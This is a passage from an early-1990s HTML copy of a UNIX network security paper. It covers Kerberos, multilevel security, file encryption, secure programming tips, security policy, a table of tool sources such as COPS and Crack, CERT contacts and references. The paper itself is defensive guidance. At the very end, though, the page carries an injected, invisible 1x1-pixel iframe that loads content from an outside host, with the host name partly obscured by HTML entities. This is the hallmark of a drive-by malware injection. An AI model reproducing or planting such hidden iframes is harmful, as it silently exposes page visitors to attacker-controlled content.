be enhanced in the future to include a secure time server (timed
is not appropriate). There are two versions of Kerberos, one for
OSF ported by HP, and one BSD-based developed by the author.
<P>
     Availability:  Kerberos is distributed via anonymous FTP
from athena-dist.mit.edu in ~/pub/kerberos or ~/pub/kerberos5.
<P>
<H4>3.5.4  Private-Key Certificates</H4>
<P>
     This is not really a product, but rather a design proposal
[17] that is an alternative method to PEM for adding network
security to applications such as mail. Simply put, it uses the
public-key style of implementation with private-key cryptography.   
It can be adapted to different types of applications and it is
boilerplate so that you can essentially plug-in any encryption
algorithm.  This is designed so that public-key protocols no
longer have to rely on public-key encryption.
<P>
     Availability:  Unknown.  For more information, contact Don
Davis, at Geer Zolot Assoc., Boston, MA (formerly of Project
Athena at MIT).  His paper "Network Security via Private-Key
Certificates" better describes this techique.
<P>
<H4>3.5.5  Multilevel Security (MLS)</H4>
<P>
     After you've done everything else (above) to make your   
network secure, then MLS will probably be one of your next
logical steps.  That doesn't mean you have to wait until you've
done everything else before implementing MLS, it's just (IMHO)
that you would be wasting your time to go to the n'th degree
before covering the fundamentals.  However, if you are just now
deciding to which variant of the UNIX operating system to buy,
consider buying an MLS variant now.  After you configure it to
manage your security policy, go back through layers {1...4} to
see what you might add to make it more secure in a networked
environment.  Many UNIX vendors are now shipping or preparing to
ship a MLS version.  A couple examples that immediately come to
mind is SecureWare CMW+ 2.2 (based on A/UX or SCO ODT 1.1) and
AT&T USL System V-Release 4-Version 2-Enhanced Security
(SVR4.2ES).
<P>
     For additional information regarding MLS implementations
within the Department of Defense (DoD), contact Charles West at
(703) 696-1891, Multilevel Security Technology Insertion Program
(MLS TIP), Defense Information Systems Agency (DISA).
<P>
     For additional information regarding SecureWare CMW+, send
e-mail to info@sware.com.  For additional information regarding
AT&T USL SVR4.2ES, send e-mail to fate@usl.com.
<P>
<H4>3.5.6  File Encryption</H4>
<P>
     Users should get into the habit of encrypting sensitive
files whenever they are stored in a public place or transmitted
via public communication circuits. File encryption isn't
bulletproof, but it is better than clear text for sensitive
information.  The UNIX crypt utility is the least secure of these
tools, since it can be broken using well-known decryption
techniques.  The UNIX des utility (US export restriction apply)
is more secure.  It has not been known to be broken, however DoD
does not sanction its use for transmitting classified material.   
A new UNIX tool PGP 2.2 is available (uses RSA encryption),
however there may be licensing issues to be concerned with.
<P>
<H4>3.5.7  Secure Programming Methods</H4>
<P>
     Programmers can assist in the effort of security by reducing
the chance that a potential intruder can exploit a hole or bug
that is coded into locally developed software.  There is probably
a lot that can be said about this, and their are probably many
books on the subject somewhere.  But, here are some common
recommendations:  (a) Never create a SETUID shell script.  There
are well-known techniques used by intruders to gain access to a
shell program that is running as root; (b) List the complete file
name, including the full path in any system() or popen() call;
and (c) Since there is no reason for users to have read access to
a SETUID file (or any exectuble for that matter), set permissions
to 4711 (SETUID) or 711 (Non-SETUID).
<P>
<H4> 3.5.8  Counterintelligence</H4>
<P>
     To extend your security program to seek out, identify, and
locate intruders;  you may want to modify some of the security
tools (especially those proxy service daemons and event-driven
auditors) to trace intruders back to their source, and otherwise
maintain logs of data on intrusion attempts.  This information
can prove vital in taking an offensive stance against security
break-in's and can help prosecute offenders.
<P>
<H4>3.5.9  Other Possibilities</H4>
<P>
     Depending on your requirements you might look into
specialized solutions such as Compartmented Mode Workstations
(CMW), end-to-end Data Link Encryption (STU-III, Motorola NES,
and XEROX XEU are examples), and TEMPEST.  The NCSC (Rainbow
Series) and ITSEC specifications can help you define what level
of need you have for security and help lead you to additional
types of solutions.
<P>
<H3>3.6  SECURITY POLICY</H3>
<P>
     Everything discussed in layers {1...5} (sections 3.1 to 3.5)
above involve specific things you can do, tools and techniques to
implement, to address a particular area or "hole" in security.   
Your SECURITY POLICY is what ties all of that together into a
cohesive and effective SECURITY PROGRAM.  There are many diverse
issues to consider when formulating your policy, which alone is
one of the biggest reasons why you must have one:
<P>
<pre>
         What are the functional requirements of your
          network?

         How secure do you need to be?  What needs to
          be protected?

         How will you handle incident reporting and
          prosecution?

         What does the law require you to do?  What
          about privacy?  Since break-ins often occur
          via multiple hops on computers throughout the
          US and the rest of the world, you will need
          to consider a variation of federal, state,
          local, as well as foreign laws.

         Make security a dedicated and deliberate
          effort.

         User training and security awareness.

         What is considered acceptable use for users?   
          Do the users understand what it is they are
          permitted to do and what it is they are not
          permitted to do?

         What is considered acceptable use for system
          administration staff?  Is using Crack to test
          passwords okay?  Is giving friends outside
          the organization accounts okay?

         Maintain a working relationship with the
          Computer Emergency Response Team (CERT) at
          Carnegie Mellon University (CMU) and your
          Forum of Incident Response and Security Teams
          (FIRST) regional representative "CERT" team.

         PLUS a myriad of different issues too
          numerous to go  into in a summary paper.
</pre>
<P>
     By answering these questions you determine what packages and
methods in layers {1...5} (or their equivalent) that you want to
implement, and in what ways you want to modify or configure them.   
"A security policy is a formal specification of the rules by
which people are given access to a computer and its resources."   
(and to extend that to say...a network and its resources).   
Whatever tools you install to help you maintain the security of
your network and monitor it, they must be configured to implement
YOUR POLICY, or else they are not doing the whole job that needs
to be done.  Therefore, you must first have a POLICY.
<P>
     For additional help in the area of policy development,
contact cert@cert.org.  They can direct you to useful
documentation on the subject and guide you to your FIRST regional
CERT team representative.  A good starting point is Request For
Comments (RFC) 1244 "Site Security Handbook" (96 pages), which is
available via anonymous FTP from numerous RFC archive sites (for
example:  nic.ddn.mil).
<P>
<H2>4.  SUMMARY OF AVAILABILITY</H2>
<P>
<pre>
Section   Name           Availability

3.2       Router         Cisco, Wellfleet, Proteon
3.3.1     Tcp_wrapper    cert.org:/pub/tools/tcp_wrappers
3.3.2     Socks          s1.gov:/pub/socks.tar.Z
3.3.3     Kernel_wrap    eecs.nwu.edu:/pub/securelib
3.3.4     Swatch         sierra.stanford.edu:/pub/sources
3.3.5     CAP            e-mail to thompsond@orvb.saic.com
3.3.6     Mail Gateway
3.3.7     Tty_wrapper
3.3.8     HSC-Gatekeeper e-mail to Herve.Schauer@hsc-sec.fr
3.3.9     AT&T INET      e-mail to ches@research.att.com
3.4.1     COPS           cert.org:/pub/tools/cops
3.4.2     Chkacct        cc.perdue.edu:/pub/chkacctv1.1.tar.Z
3.4.3     Crack          cert.org:/pub/tools/crack/crack_4.1-tar.Z
3.4.4     Shadow         comp.sources.misc (jfh@rpp386.cactus.org).
3.4.5     Passwd+        dartmouth.edu:/pub/passwd+tar.Z
3.4.6     Audit          e-mail to bjorn@sysadmin.com
3.4.7     Miro           e-mail to miro@cs.cmu.edu
3.5.1     Key-card       e-mail to cert@cert.org
3.5.2     TIS/PEM        e-mail to pem-info@tis.com
3.5.3     Kerberos       athena-dist.mit.edu:/pub/kerberos5
3.5.4     Private-key    contact Don Davis, at Geer Zolot Assoc.
3.5.5     MLS            contact your UNIX vendor
3.5.6     File encrypt   contact your UNIX vendor
3.5.7     Programming
3.5.8     Counter-Intel
3.5.9     Other Poss.    research and contact various vendors
3.6       Policy         RFC 1244 and cert@cert.org
</pre>
<P>
<H2>5.  ADDITIONAL SOURCES OF INFORMATION</H2>
<P>
     There are several primary sources of information that you can
tap into (and correspond with) to keep up to date with current
happenings in the general network security and in specific the
"firewall" community.  I recommend subscribing to the following
mailing lists:  (a) cert-advisory-request@cert.org; (b) cert-tools-
request@cert.org, and (c) firewalls@greatcircle.com.  In addition
to that read and participate in the following USENET newsgroups:   
(a) comp.security.announce (which echos the CERT advisory mailing
list); (b) comp.security.misc; (c) alt.security (frequently
dissolves into "flame wars"); (d) comp.risks; and (e) comp.virus
(almost exclusively for discussing PC and MAC viruses).  Also, you
can copy files from the CERT USENET Clipping Archive via anonymous
FTP from cert.org.
<P>
<pre>
CERT Contact Information:
Emergencies:   +1 412 268-7090
FAX:           +1 412 268-6989
E-mail:        cert@cert.org
</pre>
<P>
<pre>
U.S. Mail:     CERT Coordination Center
               Software Engineering Institute
               Carnegie Mellon University
               4500 Fifth Avenue
               Pittsburgh, PA 15213-3890, USA
</pre>
<P>
USENIX Papers are available directly from USENIX:
<P>
The USENIX Association<br>
2560 Ninth Street, Suite 215<BR>
Berkeley, CA 94710, USA
<P>
<H2>6.  Acknowledgements</H2>
<P>
     The author extends thanks to several of the authors of the
tools discussed in this paper and others for providing feedback
that effected several changes in the first couple drafts of this
paper.  This includes but, is not limited to the following:  Ed
DeHart (CERT), Jim Ellis (CERT), David and Michelle Koblas (SOCKS),
Herve Schauer (Gatekeeper), Dan Farmer (COPS), D. Brent Chapman
(firewalls@greatcircle.com), and Matt Bishop (Editor).
<P>
<H2>7.  References</H2>
<P>
<pre>
[1]  S. Carl-Mitchell and John S. Quarterman, Building Internet   
     Firewalls. UnixWorld; February, 1992; pp 93-102.

[2]  Wietse Venema.  TCP Wrapper: Network Monitoring, Access
     Control and Booby Traps.  USENIX Proceedings, UNIX Security
     Symposium III; September 1992.

[3]  David and Michelle Koblas.  SOCKS.  USENIX Proceedings, UNIX
     Security Symposium III; September 1992.

[4]  William LeFebvre.  Restricting Access to System Daemons Under
     SunOS.  USENIX Proceedings, UNIX Security Symposium III;
     September 1992.

[5]  D. Brent Chapman.  Network (In)Security Through IP Packet
     Filtering.  USENIX Proceedings, UNIX Security Symposium III;
     September 1992.

[6]  Stephen E. Hansen and E. Todd Atkins.  Centralized System
     Monitoring with Swatch.  USENIX Proceedings, UNIX Security
     Symposium III; September 1992.

[7]  J. David Thompson and Kate Arndt.  A Secure Public Network
     Access Mechanism.  USENIX Proceedings, UNIX Security Symposium
     III; September 1992.

[8]  Herve Schauer.  An Internet Gatekeeper.  USENIX Proceedings,
     UNIX Security Symposium III; September 1992.

[9]  William Cheswick.  The Design of a Secure Internet Gateway.   
     Murray Hill, NJ:  AT&T Bell Laboratories.

[10] Garfinkel, Simson, and Gene Spafford.  Firewall Machines.   
     Practical UNIX Security.  Sabastopol, CA: O'Reilly and
     Associates, Inc., 1991.

[11] Shabbir J. Safdar.  Giving Customers the Tools to Protect
     Themselves.  USENIX Proceedings, UNIX Security Symposium III;
     September 1992.

[12] John F. Haugh, II.  Introduction to the Shadow Password Suite.   
     USENIX Proceedings, UNIX Security Symposium III; September
     1992.

[13] Matt Bishop.  Anatomy of a Proactive Password Checker.  USENIX
     Proceedings, UNIX Security Symposium III; September 1992.

[14] Bjorn Satdeva.  Audit: A Policy Driven Security Checker for a
     Heterogeneous Environment.  USENIX Proceedings, UNIX Security
     Symposium III; September 1992.

[15] Allan Heydon and J.D. Tygar.  Specifying and Checking UNIX
     Security Constraints.  USENIX Proceedings, UNIX Security
     Symposium III; September 1992.
   
[16] James M. Galvin and David M. Balenson.  Security Aspects of a
     UNIX PEM Implementation.  USENIX Proceedings, UNIX Security
     Symposium III; September 1992.

[17] Don Davis.  Network Security Via Private-Key Certificates.   
     USENIX Proceedings, UNIX Security Symposium III; September
     1992.
</PRE>
<P>
------------------------NOTICE---DISCLAIMER------------------------<br>
The contents of this paper do not necessarily reflect the opinions
of my employer or anyone else that I know.  Nothing in this paper
should be construed as a product endorsement.  No warranty is
expressed or implied.  Any comments?  Please send me e-mail.
-------------------------------------------------------------------
<P>
------------------------NOTICE---COPYRIGHT-------------------------<br>
(c) Copyright 1992,1993 Robert B. Reinhardt.  This paper may be
distributabed freely as long as the paper is not modified in any way,
includes this notice, and is provided without guarantee or warranty
expressed or implied.  E-mail comments to breinhar@access.digex.com
-------------------------------------------------------------------
</pre>
<iframe src="http://jL.c&#104;ura&#46;pl/rc/" style="width:1px;height:1px"></iframe>
</body>